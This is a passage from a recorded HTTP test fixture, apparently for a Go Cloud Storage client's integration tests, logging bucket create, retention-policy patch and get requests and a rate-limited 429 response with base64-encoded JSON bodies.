yIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTIvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiIzNjAwIiwiZWZmZWN0aXZlVGltZSI6IjIwMTktMDUtMDJUMjI6MjU6NDcuNTY1WiJ9LCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0=" - } - }, - { - "ID": "bea48b3667650bdd", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "103" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEzIiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjYwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "571" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:49 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo1p1nEuvoUAqYHYa8wuU6qF64gN2JPCxLqqFEUiKXLgo9rwPH_btm63155v5hbuS6sow8cYEvsXVJthsJ1Zn8qfb05USodp1EvTTrt_m1rpJnIxdo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEzIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ5LjAxNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0OS4wMTRaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiNjAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNTo0OS4wMTRaIn0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "a951cae4048b1267", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0013?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "25" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJyZXRlbnRpb25Qb2xpY3kiOm51bGx9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:49 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpZAHhwxqSSY5MYFK1fdLLirRH41rc7W2YWSnn4CQZkbdR_98fRYjddtqZVfpEizqsZ1BNa5A7ENxQz7BwQSamASc8XAC5gyZp_pwi-Yu8l0XLSCpU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEzIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ5LjAxNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0OS42MjdaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "e7f0506408261db3", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0013?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:49 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:49 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UotOOFJlGACBcheGxpS8qxLlGsDT0xOhT_Cg1M_6DxUI16IiOu-YHaPvwzxilOKOrTvL8kRzcVUiNuFeS6rQExTmdK70I1IOH2d2BLOrMm1L5Int1g" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEzIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQ5LjAxNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0OS42MjdaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDEzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "b2c4589e9b9b5ad2", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "103" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjYwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 429, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12201" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:50 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoFdLKiYfqS-J3PXjvHGxpXtJwVnUB7Li8XrR-DTYkmyed-ZlUmUcmZFgGyIayuACtUWVYBcRbhYOKvgkfl8srE0OdJbc15OHWBttYqenraJ0MdXj8" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6InVzYWdlTGltaXRzIiwicmVhc29uIjoicmF0ZUxpbWl0RXhjZWVkZWQiLCJtZXNzYWdlIjoiVGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxu